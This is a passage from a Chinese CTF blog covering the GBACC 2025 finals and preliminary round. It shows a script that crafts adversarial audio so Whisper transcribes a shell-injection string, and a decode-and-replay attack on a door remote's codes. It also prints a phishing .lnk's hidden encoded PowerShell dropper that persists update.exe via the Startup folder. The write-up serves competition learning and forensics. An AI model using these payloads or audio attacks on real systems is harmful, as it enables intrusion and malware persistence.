<span class="keyword">import</span> nn</span><br><span class="line"></span><br><span class="line">DEVICE = <span class="string">&quot;cuda&quot;</span></span><br><span class="line">target_text = <span class="string">&quot;&#x27;;cat /chal/flag&#x27;&quot;</span></span><br><span class="line">model = load_model(<span class="string">&quot;tiny.en&quot;</span>)</span><br><span class="line">model.<span class="built_in">eval</span>()</span><br><span class="line">tokenizer = get_tokenizer(</span><br><span class="line">    model.is_multilingual,</span><br><span class="line">    num_languages=model.num_languages,</span><br><span class="line">    language=<span class="string">&quot;en&quot;</span>,</span><br><span class="line">    task=<span class="string">&quot;transcribe&quot;</span>,</span><br><span class="line">)</span><br><span class="line">target_tokens = tokenizer.encode(target_text)</span><br><span class="line">target_tokens = target_tokens + [<span class="number">50256</span>]  <span class="comment"># Add EOT token</span></span><br><span class="line"></span><br><span class="line">adv = torch.randn(<span class="number">1</span>, <span class="number">16000</span>*<span class="number">20</span>, device=DEVICE, requires_grad=<span class="literal">True</span>)</span><br><span class="line">optimizer = torch.optim.Adam([adv], lr=<span class="number">0.01</span>)</span><br><span class="line">loss_fn = nn.CrossEntropyLoss()</span><br><span class="line"></span><br><span class="line">num_iterations = <span class="number">50</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(num_iterations):</span><br><span class="line">    tokens = torch.tensor([[<span class="number">50257</span>, <span class="number">50362</span>]], device=DEVICE)  <span class="comment"># [SOT, EN]</span></span><br><span class="line">    total_loss = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> target_token <span class="keyword">in</span> target_tokens:</span><br><span class="line">        optimizer.zero_grad()</span><br><span class="line">        mel = log_mel_spectrogram(adv, model.dims.n_mels, padding=<span class="number">16000</span>*<span class="number">30</span>)</span><br><span class="line">        mel = pad_or_trim(mel, <span class="number">3000</span>).to(model.device)</span><br><span class="line">        audio_features = model.embed_audio(mel)</span><br><span class="line">        logits = model.logits(tokens, audio_features)[:, -<span class="number">1</span>]</span><br><span class="line">        loss = loss_fn(logits, torch.tensor([target_token], device=DEVICE))</span><br><span class="line">        total_loss += loss</span><br><span class="line">        loss.backward()</span><br><span class="line">        optimizer.step()</span><br><span class="line">        adv.data = adv.data.clamp(-<span class="number">1</span>, <span class="number">1</span>)</span><br><span class="line">        <span class="keyword">assert</span> adv.<span class="built_in">max</span>() &lt;= <span class="number">1</span> <span class="keyword">and</span> adv.<span class="built_in">min</span>() &gt;= -<span class="number">1</span></span><br><span class="line">        tokens = torch.cat([tokens, torch.tensor([[target_token]], device=DEVICE)], dim=<span class="number">1</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Iteration <span class="subst">&#123;i+<span class="number">1</span>&#125;</span>/<span class="subst">&#123;num_iterations&#125;</span>, Loss: <span class="subst">&#123;loss.item():<span class="number">.4</span>f&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">torchaudio.save(<span class="string">&quot;adversarial.wav&quot;</span>, adv.detach().cpu(), <span class="number">16000</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Transcribing generated adversarial audio:&quot;</span>)</span><br><span class="line">result = model.transcribe(adv.detach().cpu().squeeze(<span class="number">0</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Transcription: <span class="subst">&#123;result[<span class="string">&#x27;text&#x27;</span>]&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p>本来我的命令是 <code>cat /flag</code> 的，但是做题的时候告诉我没有这个文件，队友测了一下这个题连路径都没改</p><p>az，那行吧</p><h2 id="Signal"><a href="#Signal" class="headerlink" title="Signal"></a>Signal</h2><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/image-20250915102707-pzvtdqe.png"></p><p>点击按遥控器开门，会下载一段以 0.1s 为分段，总长为 1.5s 的 wav 音频，直接看频谱图就能发现端倪</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/image-20250915102735-jhstu69.png"></p><p>根据频谱图，因为我们难以看出为 0 的频谱段上方最大值是多少，所以我们倒着看，可以认为当这一 0.1s 中含有 600Hz 的时候，此段的值为 0，否则为 1</p><p>写一个 Python 脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">detect_600hz_in_wav</span>(<span class="params">path, thr=<span class="number">1e-3</span></span>):</span><br><span class="line">    fs, data = wav.read(path)                       <span class="comment"># 读取 wav</span></span><br><span class="line">    data = data.mean(axis=<span class="number">1</span>)<span class="comment"># 姑且先掰成单声道</span></span><br><span class="line">    data = data.astype(np.float32)</span><br><span class="line"></span><br><span class="line">    win_len = <span class="built_in">int</span>(<span class="built_in">round</span>(<span class="number">0.1</span> * fs))                  <span class="comment"># 0.1 s</span></span><br><span class="line">    step    = win_len                               <span class="comment"># 无重叠</span></span><br><span class="line">    n_win   = <span class="number">15</span></span><br><span class="line"></span><br><span class="line">    seq = []</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 600Hz 对应的 FFT bin</span></span><br><span class="line">    freq_bins = np.fft.rfftfreq(win_len, d=<span class="number">1.0</span>/fs)</span><br><span class="line">    idx_600 = np.argmin(np.<span class="built_in">abs</span>(freq_bins - <span class="number">600.0</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n_win):</span><br><span class="line">        start = i * step</span><br><span class="line">        win   = data[start : start + win_len]</span><br><span class="line">        <span class="comment"># 直接 FFT，取幅度</span></span><br><span class="line">        mag   = np.<span class="built_in">abs</span>(np.fft.rfft(win))</span><br><span class="line">        mag_600 = mag[idx_600]</span><br><span class="line">        seq.append(<span class="number">1</span> <span class="keyword">if</span> mag_600 &gt; thr <span class="keyword">else</span> <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;&quot;</span>.join(<span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">str</span>, seq)))</span><br></pre></td></tr></table></figure><p>这样就可以得到所需要的数字序列，然后就是不断地去下载 wav 文件，看看这个序列有什么规律，主要考虑是一般的车子是有一个 code 一直在计算的动态的，所以尝试找到它的规律，结果发现</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">╰─ uv run F:\CTF\Workspace\GBACC-Finals\Signal\sol.py</span><br><span class="line">[&#x27;101101001000100&#x27;, &#x27;100111001000111&#x27;, &#x27;100110100110010&#x27;, &#x27;101100100110010&#x27;, &#x27;100110101001101&#x27;, &#x27;100111001000100&#x27;, &#x27;100111001010100&#x27;, &#x27;100110101010100&#x27;, &#x27;101101001000111&#x27;, &#x27;100110101000100&#x27;]</span><br><span class="line"></span><br><span class="line">╰─ uv run F:\CTF\Workspace\GBACC-Finals\Signal\sol.py</span><br><span class="line">[&#x27;101101001000100&#x27;, &#x27;100111001000111&#x27;, &#x27;100110100110010&#x27;, &#x27;101100100110010&#x27;, &#x27;100110101001101&#x27;, &#x27;100111001000100&#x27;, &#x27;100111001010100&#x27;, &#x27;100110101010100&#x27;, &#x27;101101001000111&#x27;, &#x27;100110101000100&#x27;]</span><br></pre></td></tr></table></figure><p>于是就被鉴定为固定序列了，即下一次的信号是可以预测的</p><p>尝试做一个自动化提交</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">CTF 题用：检测 1.5s wav</span></span><br><span class="line"><span class="string">按 0.1s 切片，若每片 FFT 的 600Hz 频率分量大于阈值 → 0；否则 → 1</span></span><br><span class="line"><span class="string">返回 15 位 0/1 序列</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">import</span> scipy.io.wavfile <span class="keyword">as</span> wav</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">URL = <span class="string">&quot;http://172.36.147.165:5000/&quot;</span></span><br><span class="line">GET_WAV_URL = URL + <span class="string">&quot;generate_remote&quot;</span></span><br><span class="line">SUBMIT_URL = URL + <span class="string">&quot;submit&quot;</span></span><br><span class="line">SEQUENCE = [<span class="string">&#x27;100110101001101&#x27;</span>, <span class="string">&#x27;100111001000100&#x27;</span>, <span class="string">&#x27;100111001010100&#x27;</span>, <span class="string">&#x27;100110101010100&#x27;</span>, <span class="string">&#x27;101101001000111&#x27;</span>, <span class="string">&#x27;100110101000100&#x27;</span>, <span class="string">&#x27;101100100110010&#x27;</span>, <span class="string">&#x27;101101001000100&#x27;</span>, <span class="string">&#x27;100111001000111&#x27;</span>, <span class="string">&#x27;100110100110010&#x27;</span>, <span class="string">&#x27;101100100110010&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># ... 函数省略</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># 第一次获取</span></span><br><span class="line">    get_and_save_wav()</span><br><span class="line">    result = detect_600hz_in_wav(<span class="string">&quot;tmp.wav&quot;</span>)</span><br><span class="line">    idx = SEQUENCE.index(result)</span><br><span class="line">    <span class="built_in">print</span>(result, idx)</span><br><span class="line">    <span class="comment"># 第二次获取</span></span><br><span class="line">    t = time.time()</span><br><span class="line">    get_and_save_wav()</span><br><span class="line">    result = SEQUENCE[(idx + <span class="number">1</span>) % <span class="built_in">len</span>(SEQUENCE)]</span><br><span class="line">    <span class="built_in">print</span>(result)</span><br><span class="line">    submit_answer(result)</span><br><span class="line">    <span class="built_in">print</span>(time.time() - t)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>发现一直在报错误，结果发现有一个码出现了两次，实际序列应该为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">100110101001101</span><br><span class="line">100111001000100</span><br><span class="line">100111001010100</span><br><span class="line">100110101010100</span><br><span class="line">101101001000111</span><br><span class="line">100110101000100</span><br><span class="line">101100100110010</span><br><span class="line">101101001000100</span><br><span class="line">100111001000111</span><br><span class="line">100110100110010</span><br><span class="line">101100100110010</span><br></pre></td></tr></table></figure><p>那我可管不了那么多，直接开爆，全都交一次就是了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">result_dict = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_and_save_wav</span>(<span class="params">filename: <span class="built_in">str</span> = <span class="string">&quot;tmp.wav&quot;</span></span>):</span><br><span class="line">    resp = requests.get(GET_WAV_URL)</span><br><span class="line">    resp.raise_for_status()</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(filename, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(resp.content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">11</span>):</span><br><span class="line">        get_and_save_wav(<span class="string">f&quot;<span class="subst">&#123;_&#125;</span>.wav&quot;</span>)</span><br><span class="line">        result = detect_600hz_in_wav(<span class="string">f&quot;<span class="subst">&#123;_&#125;</span>.wav&quot;</span>)</span><br><span class="line">        result_dict[_] = result</span><br><span class="line">    <span class="keyword">for</span> file_id, answer <span class="keyword">in</span> result_dict.items():</span><br><span class="line">        <span class="built_in">print</span>(file_id, answer)</span><br><span class="line">        submit_answer(answer, wav_path=<span class="string">f&quot;<span class="subst">&#123;file_id&#125;</span>.wav&quot;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">╰─ uv run F:\CTF\Workspace\GBACC-Finals\Signal\sol.py</span><br><span class="line">0 101100100110010</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8&quot;,&quot;success&quot;:false&#125;</span><br><span class="line"></span><br><span class="line">1 100110101001101</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u95e8\u5f00\u5f00\nflag&#123;good_signal_modem&#125;&quot;,&quot;success&quot;:true&#125;</span><br><span class="line"></span><br><span class="line">2 100111001000100</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u95e8\u5f00\u5f00\nflag&#123;good_signal_modem&#125;&quot;,&quot;success&quot;:true&#125;</span><br><span class="line"></span><br><span class="line">3 100111001010100</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u95e8\u5f00\u5f00\nflag&#123;good_signal_modem&#125;&quot;,&quot;success&quot;:true&#125;</span><br><span class="line"></span><br><span class="line">4 100110101010100</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u95e8\u5f00\u5f00\nflag&#123;good_signal_modem&#125;&quot;,&quot;success&quot;:true&#125;</span><br><span class="line"></span><br><span class="line">5 101101001000111</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u95e8\u5f00\u5f00\nflag&#123;good_signal_modem&#125;&quot;,&quot;success&quot;:true&#125;</span><br><span class="line"></span><br><span class="line">6 100110101000100</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u95e8\u5f00\u5f00\nflag&#123;good_signal_modem&#125;&quot;,&quot;success&quot;:true&#125;</span><br><span class="line"></span><br><span class="line">7 101100100110010</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8&quot;,&quot;success&quot;:false&#125;</span><br><span class="line"></span><br><span class="line">8 101101001000100</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u95e8\u5f00\u5f00\nflag&#123;good_signal_modem&#125;&quot;,&quot;success&quot;:true&#125;</span><br><span class="line"></span><br><span class="line">9 100111001000111</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8&quot;,&quot;success&quot;:false&#125;</span><br><span class="line"></span><br><span class="line">10 100110100110010</span><br><span class="line">&#123;&quot;message&quot;:&quot;\u4f60\u8fd9\u4e2a\u6d88\u606f\u6709\u70b9\u8fc7\u65f6\uff0c\u4e0d\u7ed9\u5f00\u95e8&quot;,&quot;success&quot;:false&#125;</span><br></pre></td></tr></table></figure><p>然后就得到了有 4 个是无效答案，其他都能够出 flag &#x3D;&gt; <code>flag&#123;good_signal_modem&#125;</code></p><h1 id="后日谈"><a href="#后日谈" class="headerlink" title="后日谈"></a>后日谈</h1><p>难得进了一次阵势那么大的比赛的决赛，说实话，真的干不过其他人，好多大佬</p><p>这次比赛的内容也是比较新颖，Web3、工控、低空经济、AI什么的，传统的 CTF 已经不能满足现在的网络安全形式了，也确实该接触一些新的东西，而不是守着传统的那几个方向打不停，后面也是要扩大学习面了</p><h1 id="相册"><a href="#相册" class="headerlink" title="相册"></a>相册</h1><div class="fj-gallery"><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992340.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992502.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992633.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992871.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210993812.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210994707.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210993990.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210993990.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992934.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210992420.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210993884.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210995347.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210993490.jpg"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Finals/1759210994168.jpg"></p>          </div>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="CTF" scheme="https://bili33.top/categories/CTF/"/>
    
    
    <category term="CTF" scheme="https://bili33.top/tags/CTF/"/>
    
    <category term="GBACC" scheme="https://bili33.top/tags/GBACC/"/>
    
    <category term="Travelling" scheme="https://bili33.top/tags/Travelling/"/>
    
  </entry>
  
  <entry>
    <title>【Volcania】2025 湾区杯初赛 Writeup</title>
    <link href="https://bili33.top/posts/CTF-GBACC2025-Preliminary-Round-Writeup/"/>
    <id>https://bili33.top/posts/CTF-GBACC2025-Preliminary-Round-Writeup/</id>
    <published>2025-09-10T14:49:15.000Z</published>
    <updated>2026-03-31T05:59:59.341Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h1><h2 id="bademail-未解出"><a href="#bademail-未解出" class="headerlink" title="bademail | 未解出"></a>bademail | 未解出</h2><blockquote><p>我收到了来自hr的邮件，当我打开附件的时候一个黑框一闪而过，我立刻上报了IT部门，于是他们拿走了我的硬盘。</p></blockquote><p>给的是一个 RAID0 的文件，直接 R-Studio 读取就行，从 Thunderbird 的数据目录可以得到 INBOX 收件箱</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/image.png"></p><p>这里面的最后一封邮件就是所谓的HR邮件</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/output-1758298447158-1.png"></p><p>邮件内有</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">From: =?GBK?B?wfW378P5?= &lt;hnhuimeng_hr@163.com&gt;</span><br><span class="line">Return-Path: hnhuimeng_hr@163.com</span><br></pre></td></tr></table></figure><p>发件和回执地址相同，可以认为是真实发件邮箱</p><p>把附件拿出来，按照规定的密码解压，发现是一个 lnk 文件，实际执行的是</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">C:\<span class="title">Windows</span>\<span class="title">System32</span>\<span class="title">cmd.exe</span> /<span class="title">c</span> <span class="title">powershell.exe</span> -<span class="title">w</span> <span class="title">hidden</span> -<span class="title">enc</span> &quot;<span class="title">JJAB6AGQAPQAgAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuADsAJABjAGEAcABlAD0AIAAiACQAegBkAFwAVm5XU9h</span>+<span class="title">pmgJZ1CWbFH4U6F7BnTEiZpbLgBsAG4AawAiADsAJABjADEAcwAyACAAPQAgAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAYwBhAHAAZQA7ACQAeABrACAAPQAgAFsAYgB5AHQAZQBbAF0AXQAgAEAAKAAwAHgAMQAzACwAIAAwAHgARgA1ACkAOwAkAGYAYgBjAHMAZQAxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABjAGEAcABlACkAOwAkAHMAdABzAGUAZQA9ACQAYwAxAHMAMgAuAEwAZQBuAGcAdABoAC0AMgA2ADEAOQA4ADgALQAzADUAMAAzADEAOwAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAIAA9ACAAJABmAGIAYwBzAGUAMQBbACQAcwB0AHMAZQBlAC4ALgAoACQAZgBiAGMAcwBlADEALgBMAGUAbgBnAHQAaAAgAC0AMwA1ADAAMwAyACkAXQA7ACQAZAAwAHMAeABkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAC4ATABlAG4AZwB0AGgAKQA7AGYAbwByACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwByAHkAcAB0AGUAZABEAGEAdABhAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkADAAcwB4AGQAWwAkAGkAXQAgAD0AIAAkAGUAbgBjAHIAeQBwAHQAZQBkAEQAYQB0AGEAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAeABrAFsAJABpACAAJQAgACQAeABrAC4ATABlAG4AZwB0AGgAXQB9ADsAJABvAG8AcAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAegBkACAAIAAtAEMAaABpAGwAZABQAGEAdABoACAAIgBWbldT2H6maAlnUJZsUfhToXsGdMSJmlsuAHAAZABmACIAOwBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAJABvAG8AcAAsACAAJABkADAAcwB4AGQAKQA7AFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAYwBhAHAAZQAgAC0ARgBvAHIAYwBlADsAaQBpACAAIgBWbldT2H6maAlnUJZsUfhToXsGdMSJmlsuAHAAZABmACIAOwAgACQAcABvADIAcwBkAHcAMQAgAD0AIAAkAGYAYgBjAHMAZQAxAFsAKAAkAGYAYgBjAHMAZQAxAC4ATABlAG4AZwB0AGgAIAAtACAAMwA1ADAAMwAxACkALgAuACgAJABmAGIAYwBzAGUAMQAuAEwAZQBuAGcAdABoACAALQAgADEAKQBdADsAIAAkAGMANAAwADUAdgBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHAAbwAyAHMAZAB3ADEAKQA7ACQAZABzADIAdwBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnADYAUwBzAGEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwBaAGkAcABTAHQAcgBlAGEAbQAoACQAYwA0ADAANQB2AGQALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAGcANgBTAHMAYQAuAEMAbwBwAHkAVABvACgAJABkAHMAMgB3AGQAKQA7ACQAZABmADIAMwBkACAAPQAgACQAZABzADIAdwBkAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAdABhAHIAdAAgAE0AZQBuAHUAXABQAHIAbwBnAHIAYQBtAHMAXABTAHQAYQByAHQAdQBwAFwAdQBwAGQAYQB0AGUALgBlAHgAZQAiACwAIAAkAGQAZgAyADMAZAApAA</span>==&quot;</span></span><br></pre></td></tr></table></figure><p>直接对 lnk 文件进行 binwalk 提取</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/96e61b77-6b02-4668-8ef9-4973adbc1363-1758298447158-2.png"></p><p>得到了一个可执行文件</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/9c178b6b-ab7a-41b1-95cd-1646b81c9902-1758298447158-3.png"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/2c469a05-3015-4cf5-875b-a768d1b96656-1758298447158-4.png"></p><p>居然没法反编译？</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/8b702dc0-181b-4ca6-9b88-769d28d7367f-1758298447158-5.png"></p><p>才发现释放了一个 update.exe，我拿出来看看</p><p>因为他是放到了 <code>shell:startup</code>，所以可以认为权限维持手段是放到启动项中，得到 T1547.001</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/bademail-DIE-1758298447158-6.png"></p><p>DnSpy 能开</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/9cc2cd8a-855c-412d-81b7-8cdfcf85f5a0-1758298447158-7.png"></p><figure class="highlight c#"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span 